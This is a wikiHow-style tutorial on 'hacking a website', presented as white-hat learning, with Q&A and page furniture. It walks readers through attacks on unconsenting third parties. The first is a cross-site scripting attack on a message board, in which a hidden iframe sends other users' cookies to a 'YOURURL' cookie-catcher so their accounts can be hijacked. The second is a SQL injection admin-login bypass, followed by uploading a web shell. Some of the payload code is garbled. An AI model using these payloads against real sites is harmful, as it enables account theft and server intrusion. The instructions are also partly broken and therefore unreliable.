- Categories
- Computers and Electronics
- Internet
Download Article
A quick introduction to hacking a website
Explore this Article
methods
1Using Cross-Site Scripting
2Executing Injection Attacks
3Setting Up for Success
Sample Cookie Catcher Code
+Show 1 more...
-Show less...
Other Sections
Tips and Warnings
Related Articles
Author Info
Last Updated: January 18, 2024
Download Article
Some people assume that all hackers have bad intentions, but that’s not true! "White hat" hackers exploit vulnerabilities in websites to help site owners improve their security. White hat hacking can even become your career! This wikiHow article will teach you two ways to hack websites as a white-hat hacker, give you some sample code, and help you perfect your hacking skills.
Method 1
Method 1 of 3:
Using Cross-Site Scripting
Download Article
1
Find a vulnerable site where you can post content. A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work.
2
Go to create a post. You will need to type some special code into the "post" which will capture the data of all who click on it.
- You'll want to test to see if the system filters out code. Post
<script>window.alert("test")</script>
If an alert box appears when you click on your post, then the site is vulnerable to attack.
Advertisem*nt
- You'll want to test to see if the system filters out code. Post
3
Create and upload your cookie catcher. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section.
4
Post with your cookie catcher. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted.
- An example code would look like
<iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher.PHP?c=' document.cookie)></iframe>
- An example code would look like
5
Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.
Advertisem*nt
Method 2
Method 2 of 3:
Executing Injection Attacks
Download Article
1
Find a vulnerable site. You will need to find a vulnerable site, due to easily accessible admin login. Try searching on your favorite search engine for admin login. asp or admin login.php.
2
Login as an admin. Type admin as the username and use one of several different strings as the password. These can be any one of several different strings but a common example is 1'or'1'='1 or 2'='2.
3
Be patient. This is probably going to require a little trial and error.
4
Access the website. Eventually, you should be able to find a string that allows you admin access to a website, assuming the website is vulnerable to attack. Then, logged in as an administrator, you can perform further actions, such as uploading a web shell to gain server-side access if you can perform a file upload.
Advertisem*nt
Method 3
Method 3 of 3:
Setting Up for Success
Download Article
1
Learn a programming language or two. If you want to learn how to hack websites, you'll need to understand how computers and other technologies work. Learn to use programming languages like Python, PHP (necessary for exploiting server-side vulnerabilities), or SQL, so that you can gain better control of computers and identify vulnerabilities in systems.
2
Have basic HTML literacy. You will also need to have a really good understanding of HTML and JavaScript if you want to hack websites in particular. This can take time to learn but there are lots of free ways to learn on the internet, so you will certainly have the opportunity if you want to take it.
3
Consult with whitehats. White hats are hackers who use their powers for good, exposing security vulnerabilities and making the internet a better place for everyone. If you're wanting to learn to hack and use your powers for good or if you want to help protect your website, you might want to contact some current whitehats for advice.
4
Research hacking. If you're wanting to learn to hack or if you just want to protect yourself, you'll need to do a lot of research. There are so many different ways that websites can be vulnerable and the list is ever-changing, so you will need to be constantly learning.
5
Keep up to date. Because the list of possible hacks is ever-changing, and new vulnerabilities are discovered, you'll need to be sure you keep up to date. Just because you’re protected from a certain type of hack now doesn't mean you'll be safe in the future!
Advertisem*nt
Sample Cookie Catcher Code
Community Q&A
Search
Question
Can I get caught while hacking?
Community Answer
Yes, you can get caught, and you can also get in serious legal trouble for it depending on the nature of your hacking.
Thanks! We're glad this was helpful.
Thank you for your feedback.
If wikiHow has helped you, please consider a small contribution to support us in helping more readers like you. We’re committed to providing the world with free how-to resources, and even $1 helps us in our mission.Support wikiHowYesNo
Not Helpful 56Helpful 213
Question
Can I learn programming online for free?
flying 8lack
Community Answer
Yes, you can find interactive python learning or you could use a written tutorial made by others, but remember to understand the code and don't just copy and paste it.
Thanks! We're glad this was helpful.
Thank you for your feedback.
If wikiHow has helped you, please consider a small contribution to support us in helping more readers like you. We’re committed to providing the world with free how-to resources, and even $1 helps us in our mission.Support wikiHowYesNo
Not Helpful 38Helpful 120
Question
How can I quickly learn Python or Sql when I already have experience in other programming languages?
Community Answer
Learn to make variables and most base functions. Python shares a lot of the same methods as C, for example.
Thanks! We're glad this was helpful.
Thank you for your feedback.
If wikiHow has helped you, please consider a small contribution to support us in helping more readers like you. We’re committed to providing the world with free how-to resources, and even $1 helps us in our mission.Support wikiHowYesNo
Not Helpful 35Helpful 101
See more answers
Ask a Question
200 characters left
Include your email address to get a message when this question is answered.
Advertisem*nt
Tips
Go to hacker forums to get lots of helpful tips.
Thanks
Helpful3Not Helpful2
This tutorial is strictly for educational purposes, either to help people begin to learn white hat hacking or to see how hackers work to protect their sites better.
Thanks
Helpful3Not Helpful1
Submit a Tip
All tip submissions are carefully reviewed before being published
Submit
Thanks for submitting a tip for review!
Advertisem*nt
You Might Also Like
Advertisem*nt
About This Article
wikiHow is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, 140 people, some anonymous, worked to edit and improve it over time. This article has been viewed 1,209,689 times.
How helpful is this?
Co-authors: 140
Updated: January 18, 2024
Views:1,209,689
Categories: Internet
In other languages
- Send fan mail to authors
Thanks to all authors for creating a page that has been read 1,209,689 times.
Is this article up to date?
Advertisem*nt